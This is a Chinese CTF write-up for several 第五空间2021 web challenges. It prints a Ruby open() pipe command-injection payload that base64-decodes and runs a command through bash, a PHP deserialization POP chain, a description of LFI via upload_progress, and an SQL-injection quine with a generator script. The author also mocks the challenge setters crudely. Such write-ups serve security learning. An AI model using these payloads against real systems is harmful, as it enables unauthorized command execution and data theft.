第五空间2021 wp
不愧是500空间,日常平台500,题目出的稀碎,权限也不控制,睡一个午觉起来发现放题了,看了两分钟就hacked by lbw了,lbwnb!
最后还有一波诸神黄昏,十分钟掉十名,又到了我最喜欢的垂直上分环节
WebFTP
远古远古框架,13年就没更新了。从GitHub上找到了源码拉了一版下来,审了半天感觉打不动,不进后台无敌防御,默认的账户登不上去。然后开始扫目录,发现大家已经写了这么多后门了啊,随便挑了几个猜后门密码,有一个猜对了,连上去在环境变量中获得flag
笑死了
连进去之后顺便检查了一遍admin的密码,确实是被改了,变成了一个八位数字(应该不是爆破密码吧。。。这还带验证码的)好奇师傅们是怎么打进去的
PNG图片转换器
ruby题,我没学过ruby,硬看,所幸代码量不大,猜都大概猜出来在说什么了
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
两个功能,一个上传,一个读取,上传限制了文件后缀是png,并且文件名是他拼拼凑凑算了个MD5,无敌防御。上传功能点没法打
读取,读取限制了文件后缀png,不能有..
和/
,也非常的无敌。但是打肯定只能打这几个地方
或者说我觉得唯一可能的点就是open这个函数。一开始在想也没用可能直接发一个软链接文件上去,让他直接读flag然后写进png,再拿出来,但是除了之前有一个往压缩包里打包软链接的操作外,裸的软链接好像并不存在。计划不通
那么去翻文档,结果发现open这个函数能直接执行命令,真是绝了。。。(一开始因为文档是日文的一直不想去看来着
ruby open文档
ファイル名 file が ‘|’ で始まる時には続く文字列をコマンドとして起動し、コマンドの標準入出力に対してパイプラインを生成します
看不懂嗷,谷歌启动,意思就是以文件名|
管道符开头的话会把这个当做命令去执行,然后open返回的是这个命令的输入输出流句柄
然后强行执行命令,用管道符配base64过/
过滤file=|echo "Y2F0IC9GTEE5X0t5d1hBdjc4TGJvcGJwQkR1V3NtCiA="|base64 -d|bash||.png
pklovecloud
垃圾反序列化,出题人必然是知识水平不过关才出的这么个垃圾题
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($c)
{
$this->cinder = $c;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
var_dump($this->openstack);
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
我猜这里那个未定义的$heat是放在include的flag.php里面的,但是出题人显然写了些垃圾代码,你在外部定义的变量凭什么能在函数内用呢。我估计本意是想整个引用?以前在哪遇到过一个题就是要序列化一个引用数据来着,反正这里这个变量没用,直接都别管,全部置空就能过(之前做过一个超级解混淆的PHP题,印象里用未定义的变量赋值会直接fatal error退出来着的,不知道为什么这里还能跑下去)
$b = new ace();
$a = new acp($b);
$c = new acp(null);
$b->docker = serialize($c);
$b->filename = "flag.php";
echo $a;
//echo urlencode(serialize($a));
即可
EasyCleanup
确实非常ez,就是不知道为什么有一堆乱七八糟的没用的配置项
<?php
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = $_GET['shell'] ?? 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var): bool{
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var): bool{
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
一个eval功能,一个include功能。给看phpinfo,看了一眼,开了allow_url_include,但是waf过滤了冒号,好像不能用其他协议的话这个配置项也没什么用
然后eval还有非常奇怪的长度和字符数量限制。除了执行一下system('ls');
之外,好像也干不了什么,像直接eval($_GET[1]);
这样的,过不了那个$_
waf,套一层大括号变成eval(${_GET[1]});
,字符数量超了一个。搞不动这个eval功能有什么用
include功能就很实在,只限制了长度15,就当waf的限制就约等于allow_url_include没开
本地文件包含的打法也很多,先试了一下才学的的pearcmd,发现register_argc_argv没开,用不了。然后队友提出来一个include自包含崩溃遗留文件,临时文件加路径刚好14个字符,并且还有phpinfo可以看见临时文件名,善。然后找脚本打了几轮打不动
最后直接上经典upload_progress,这个时候才发现他把session的auto_clean关了。。。一打就通。傻逼题
这个题存在着多个无效配置和功能,暂且不能猜测出出题人想表达什么,以及出题人的攻击方式是什么样的
yet_another_mysql_injection
我是SQL注入垃圾,队友把users表翻了一遍没翻到东西,和我说还不知道怎么查别的表,所以我也咕了
翻到了wp,队友那个时候就和我说需要构造一个password,使得查询得到的password和输入的password一致
显然我也不会,但是wp提到了,并且这个文章还有点古老
SQLi Quine
利用replace语句套娃,进行替换,使得查询的结果和输入的内容是一致的,这个思路还挺好的,学习了
思路并不复杂,首先要确定一个查询语句
因为是构造一个输入和查询结果相等,所以一般来说就直接' union select 1 as password
就行
- 第一次替换
把用来套娃的语句REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)
替换掉自己的查询语句查出的数据,即变为' union select REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$) as password
- 第二次替换,将上述语句的
$$
替换成"$"
,并把所有单引号转换到双引号" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password
- 数据填入,把1中得到的语句中的
$$
替换为用单引号包裹的2中的语句' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password
成功得到输入和查询结果相同的语句
mysql> select password from users where username='' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password;
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| password |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| ' union select REPLACE(REPLACE('" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password',CHAR(34),CHAR(39)),CHAR(36),'" union select REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") as password') as password |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
这里在最初的replace模板中就进行了单双引号的修改,所以2中将单引号变为双引号不影响最终结果
文章作者还贴了一个简单脚本来产生这类payload
data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
blob = data.replace('$$','"$"').replace("'",'"')
data = data.replace('$$',"'"+blob+"'")
print(data)